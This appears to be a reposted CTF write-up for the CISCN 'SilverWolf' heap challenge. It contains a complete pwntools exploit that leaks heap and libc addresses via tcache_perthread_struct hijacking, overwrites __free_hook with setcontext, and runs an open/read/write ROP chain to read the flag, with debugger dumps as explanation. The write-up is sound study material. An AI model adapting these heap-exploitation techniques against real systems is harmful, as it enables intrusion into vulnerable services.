CISCN SilverWolf

2023-12-13 20:45:14

完整EXP:

在这里插入图片描述

from PwnModules import *

io, elf = get_utils('./silverwolf', False, 'node4.anna.nssctf.cn', 28359)
init_env('amd64', 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.27-1.4/libc-2.27.so')


def choice(idx):
    io.recvuntil(b'choice: ')
    io.sendline(str(idx))


def add(size):
    choice(1)
    io.sendlineafter(b'Index: ', str(0))
    io.sendlineafter(b'Size: ', str(size))


def edit(content):
    choice(2)
    io.sendlineafter(b'Index: ', str(0))
    io.sendlineafter(b'Content: ', content)


def free():
    choice(4)
    io.sendlineafter(b'Index: ', str(0))


def show():
    choice(3)
    io.sendlineafter(b'Index: ', str(0))


# Leak heap base addr

add(0x78)
free()
show()

io.recvuntil(b'Content: ')
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x11b0
show_addr('Heap base address: ', heap_base)

# Take out Tcache Struct, Leak our libc base address !

edit(p64(heap_base + 0x10))  # Cannot allocate at base, since it wil break the struct.
add(0x78)
add(0x78)

edit(p64(0) * 4 + p64(0x0000000007000000))

free()
show()

libc_base = leak_addr(2, io) - 0x70 - libc.sym['__malloc_hook']
show_addr('Libc base addr: ', libc_base)

# edit(b'\x00' * 0x78) # Alternate choice.
edit(p64(0) * 4 + p64(0x0000000000000000))

# Gadgets

free_hook = libc_base + libc.sym['__free_hook']
pop_rdi = libc_base + 0x215BF
pop_rax = libc_base + 0x43AE8
pop_rsi = libc_base + 0x23EEA
pop_rdx = libc_base + 0x1B96
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
setcontext = libc_base + libc.sym['setcontext'] + 53
syscall = libc_base + 0xE5965
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8AA

# Construct Heap

orw1 = heap_base + 0x3000
orw2 = heap_base + 0x3060

stack_pivot_1 = heap_base + 0x2000
stack_pivot_2 = heap_base + 0x20A0

show_addr('Address: ', heap_base, free_hook, flag_addr, orw1, orw2, stack_pivot_1, stack_pivot_2)

payload = b'\x00' * 0x40
payload += p64(free_hook)  # 0x20
payload += p64(0)
payload += p64(flag_addr)
payload += p64(stack_pivot_1)
payload += p64(stack_pivot_2)
payload += p64(orw1)
payload += p64(orw2)

edit(payload)

# Open

orw = p64(pop_rdi) + p64(flag_addr)
orw += p64(pop_rax) + p64(2)
orw += p64(pop_rsi) + p64(0)
orw += p64(syscall)

# Read

orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(orw1)
orw += p64(pop_rdx) + p64(0x30)
orw += p64(read)

# Write

orw += p64(pop_rdi) + p64(1)
orw += p64(write)

add(0x18)
# Why we only need one allocate is because we directly changed the link list.
# Means the chunk will allocate at where we want.
# In this case, We don't need to push addr into link list because we allocate just at here.
# (0x20)   tcache_entry[0](0): 0x7f53257278e8 -----> __free_hook
edit(p64(setcontext))
# Hijack __free_hook to setcontext
# Why hijack __free_hook instead of any other function ?
# When executing __free_hook, The RDI reg is just the chunk addr.
# Which means when we execute the free, We execute the setcontext with our ROP chain.
add(0x38)
# Store the flag file position.
# (0x40)   tcache_entry[2](0): 0x556a73c3d000 -----> flag_addr
edit('./flag')

add(0x68)
edit(orw[:0x60])
# orw1
add(0x78)
edit(orw[0x60:])
# orw2

add(0x58)
# stack_pivot_2
edit(p64(orw1) + p64(ret))
add(0x48)
# stack_pivot_1

free()
# Trigger the ROP chain.

io.interactive()

SilverWolf

泄露Libc地址

我们首先申请一个大小为0x78的堆块然后释放。
释放后我们就可以获取到堆的基址,也就是:0x561d067d4000

add(0x78)
free()
show()

io.recvuntil(b'Content: ')
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x11b0

泄露Libc基址

我们可以劫持 tcache_perthread_struct 结构体来泄露Libc基址。原理分析:浅入研究 tcache_perthread_struct
通过在tcache_perthread_struct + 0x10的地方申请堆块,我们就成功劫持到了这个结构体。
通过修改堆块数量部分,我们可以伪造Tcache已满。然后让程序将堆块放入Unsorted Bin中。这样就会泄露出来一个main_arena + 一定值的地址。

pwndbg> x/30gx 0x561d067d4000
0x561d067d4000:	0x0000000000000000	0x0000000000000251
0x561d067d4010:	0x0006070100000007	0x0000020003000000 # 0x561d067d4010:	0x0006070100000007 就是我们需要修改的地方。 例:0x0000000007000000 是修改后的数据。
0x561d067d4020:	0x0000000000000000	0x0000000000000000
0x561d067d4030:	0x0000000000000000	0x0000000000000000
0x561d067d4040:	0x0000000000000000	0x0000000000000000
0x561d067d4050:	0x0000561d067d5610	0x0000000000000000
0x561d067d4060:	0x0000000000000000	0x0000000000000000
0x561d067d4070:	0x0000561d067d58c0	0x0000561d067d5360
0x561d067d4080:	0x0000561d067d4010	0x0000000000000000
0x561d067d4090:	0x0000000000000000	0x0000000000000000
0x561d067d40a0:	0x0000000000000000	0x0000561d067d4ad0
0x561d067d40b0:	0x0000000000000000	0x0000561d067d56a0
0x561d067d40c0:	0x0000000000000000	0x0000000000000000
0x561d067d40d0:	0x0000000000000000	0x0000000000000000
0x561d067d40e0:	0x0000000000000000	0x0000000000000000

之后我们释放堆,由于我们修改目前已存在7个Tcache堆块,我们的堆块会被放入Unsorted Bin中。
记得要恢复这部分,因为我们需要使用Tcache来进行后续的攻击。

edit(p64(heap_base + 0x10))  # 不能直接使用基址,会导致整个结构体出错。
add(0x78)
add(0x78)

edit(p64(0) * 4 + p64(0x0000000007000000))

free()
show()

libc_base = leak_addr(2, io) - 0x70 - libc.sym['__malloc_hook']
show_addr('Libc base addr: ', libc_base)

# edit(b'\x00' * 0x78) # 另一个修复结构体的方法。
edit(p64(0) * 4 + p64(0x0000000000000000))

Gadgets

free_hook = libc_base + libc.sym['__free_hook']
pop_rdi = libc_base + 0x215BF
pop_rax = libc_base + 0x43AE8
pop_rsi = libc_base + 0x23EEA
pop_rdx = libc_base + 0x1B96
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
setcontext = libc_base + libc.sym['setcontext'] + 53 # 通常会为了避免使用 fldenv 指令,因为这个指令会使程序崩溃。
syscall = libc_base + 0xE5965 # 必须是单个syscall, 如: 0x7f5afec19965 (geteuid+5) ?— syscall
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8AA

在收集完gadgets之后我们就可以准备地址方面的了。

orw1 = heap_base + 0x3000
orw2 = heap_base + 0x3060

stack_pivot_1 = heap_base + 0x2000
stack_pivot_2 = heap_base + 0x20A0

payload = b'\x00' * 0x40
payload += p64(free_hook)  # 0x20
payload += p64(0)
payload += p64(flag_addr)
payload += p64(stack_pivot_1)
payload += p64(stack_pivot_2)
payload += p64(orw1)
payload += p64(orw2)

edit(payload)

现在开始解释为什么:
为什么再次劫持?因为众所周知tcache_perthread_struct控制着tcache chunk。
我们现在需要做的不是修改数量,而是修改entries数组指针。使其指向我们需要的地方。

pwndbg> x/40gx 0x5586484ab000
0x5586484ab000:	0x0000000000000000	0x0000000000000251
--- 0x40 Padding ---
0x5586484ab010:	0x0000000000000000	0x0000000000000000
0x5586484ab020:	0x0000000000000000	0x0000000000000000
0x5586484ab030:	0x0000000000000000	0x0000000000000000
0x5586484ab040:	0x0000000000000000	0x0000000000000000
--- 0x40 Padding ---
0x5586484ab050:	0x00007f0e49b198e8	0x0000000000000000 ---> 0x00007f0e49b198e8 __free_hook, 我们需要劫持为setcontent,这个堆块的大小是 0x20。
0x5586484ab060:	0x00005586484ac000	0x00005586484ad000 ---> flag_addr 和 stack_pivot_1. 这些堆块的大小是 0x40 和 0x50。
0x5586484ab070:	0x00005586484ad0a0	0x00005586484ae000 ---> stack_pivot_2 和 orw1. 这些堆块的大小是 0x60 和 0x70。
0x5586484ab080:	0x00005586484ae060	0x0000000000000000 ---> orw2. 这个堆块的大小是 0x80。
0x5586484ab090:	0x0000000000000000	0x0000000000000000
0x5586484ab0a0:	0x0000000000000000	0x00005586484abad0 --------> 我们不能直接修改链表,因此我们需要手动修改指针。这里还有另一点因素是因为setcontext函数。
0x5586484ab0b0:	0x0000000000000000	0x00005586484ac6a0 --------- 为了实现我们的目标,我们需要申请相同大小的堆块。
0x5586484ab0c0:	0x0000000000000000	0x0000000000000000 --------- __free_hook : 0x18
0x5586484ab0d0:	0x0000000000000000	0x0000000000000000 --------- flag_addr, stack_pivot_1 : 0x38 & 0x48
0x5586484ab0e0:	0x0000000000000000	0x0000000000000000 --------- stack_pivot_2, orw1 : 0x58, 0x68
0x5586484ab0f0:	0x0000000000000000	0x0000000000000000 --------- orw2 : 0x78
0x5586484ab100:	0x0000000000000000	0x0000000000000000
0x5586484ab110:	0x0000000000000000	0x0000000000000000
0x5586484ab120:	0x0000000000000000	0x0000000000000000
0x5586484ab130:	0x0000000000000000	0x0000000000000000

ORW Shellcode

# Open

orw = p64(pop_rdi) + p64(flag_addr)
orw += p64(pop_rax) + p64(2)
orw += p64(pop_rsi) + p64(0)
orw += p64(syscall) # open('./flag')

# Read

orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(orw1)
orw += p64(pop_rdx) + p64(0x30)
orw += p64(read) # read(3, orw1, 0x30)

# Write

orw += p64(pop_rdi) + p64(1)
orw += p64(write) # write(1, orw1, 0x30)

It’s time for attack !

add(0x18)
# 为什么我们只需要一次分配,因为我们直接修改了指针,相当于修改了链表。
# 这意味着这个堆块将分配到我们想要的任何位置。
# 在这种情况下,我们不需要将地址推送到链表中,因为地址已经位于链表中了。
# (0x20)   tcache_entry[0](0): 0x7f53257278e8 -----> __free_hook
edit(p64(setcontext))
# 劫持 __free_hook 至 setcontext
# 为什么劫持 __free_hook 而不是其他函数?
# 执行 __free_hook 时,RDI 寄存器正好是块的地址。
# 这意味着当我们执行 free 时,我们实际上执行的是带有我们 ROP 链的 setcontext。
add(0x38)
# 存储flag文件的地址,用于open函数。
# (0x40)   tcache_entry[2](0): 0x556a73c3d000 -----> flag_addr
edit('./flag')

add(0x68)
edit(orw[:0x60])
# orw1

add(0x78)
edit(orw[0x60:])
# orw2

add(0x58)
edit(p64(orw1) + p64(ret))
# stack_pivot_2

add(0x48)
# stack_pivot_1
free()
# 触发ROP。

解释时间:

还记得上文我们设置的地址吗,现在他们就要发挥作用了。
首先,free,或者说setcontext会以RDI寄存器0x5650c8aaa000类似值执行。
libc中的setcontext函数:

.text:00000000000521B5                 mov     rsp, [rdi+0A0h]
.text:00000000000521BC                 mov     rbx, [rdi+80h]
.text:00000000000521C3                 mov     rbp, [rdi+78h]
.text:00000000000521C7                 mov     r12, [rdi+48h]
.text:00000000000521CB                 mov     r13, [rdi+50h]
.text:00000000000521CF                 mov     r14, [rdi+58h]
.text:00000000000521D3                 mov     r15, [rdi+60h]
.text:00000000000521D7                 mov     rcx, [rdi+0A8h]

rdi+0A0h就是我们的stack_pivot_1,这会执行整个ROP链。

  1. 我们将 __free_hook 劫持到 setcontext + 53 以获取需要的函数片段。在这一步之后,我们的 free 将执行 setcontext。这是内核用于恢复堆栈环境的函数。参见:SROP。
    为什么要劫持 setcontext,有两个原因。
    一:setcontext 具有许多工具,并且仅可使用 RDI 寄存器。它可以控制所有寄存器,甚至返回地址。
    二:通过将 free 劫持到 setcontext,RDI 保持其本应执行的操作。因为它们都使用同一个寄存器作为参数

  2. 我们将flag文件位置送入到堆中。在这之后,我们可以在需要时调用我们的open函数。

  3. 我们将 payload 发送到 orw1orw2 中。

  4. 将带有返回地址的 stack_pivot_2 送入到堆中。

  5. EXECUTE ORDER PWN

  6. 坐下等待 flag ~!

文章来源:https://blog.csdn.net/qq_29912475/article/details/134980849
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。